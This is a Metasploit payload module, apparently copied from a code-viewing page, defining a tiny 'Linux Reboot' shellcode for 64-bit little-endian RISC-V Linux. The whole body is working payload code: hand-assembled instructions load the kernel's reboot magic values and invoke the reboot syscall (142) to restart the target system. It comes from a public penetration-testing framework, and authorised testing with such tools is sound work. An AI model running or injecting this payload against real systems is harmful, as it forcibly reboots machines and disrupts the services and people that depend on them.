Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 40
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Linux
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Linux Reboot',
17
        'Description' => %q{
18
          A very small shellcode for rebooting the system using
19
          the reboot syscall. This payload is sometimes helpful
20
          for testing purposes.
21
        },
22
        'Author' => 'bcoles',
23
        'License' => MSF_LICENSE,
24
        'Platform' => 'linux',
25
        'Arch' => ARCH_RISCV64LE
26
      )
27
    )
28
  end
29

30
  def generate(_opts = {})
31
    shellcode =
32
      [0x0007f537].pack('V*') + # lui    a0,0x7f
33
      [0x70f5051b].pack('V*') + # addiw  a0,a0,1807
34
      [0x00d51513].pack('V*') + # slli   a0,a0,0xd
35
      [0xead50513].pack('V*') + # addi   a0,a0,-339
36
      [0x281225b7].pack('V*') + # lui    a1,0x28122
37
      [0x9695859b].pack('V*') + # addiw  a1,a1,-1687
38
      [0x01234637].pack('V*') + # lui    a2,0x1234
39
      [0x5676061b].pack('V*') + # addiw  a2,a2,1383
40
      [0x08e00893].pack('V*') + # li     a7,142
41
      [0x00000073].pack('V*')   # ecall
42

43
    super.to_s + shellcode
44
  end
45
end
46

47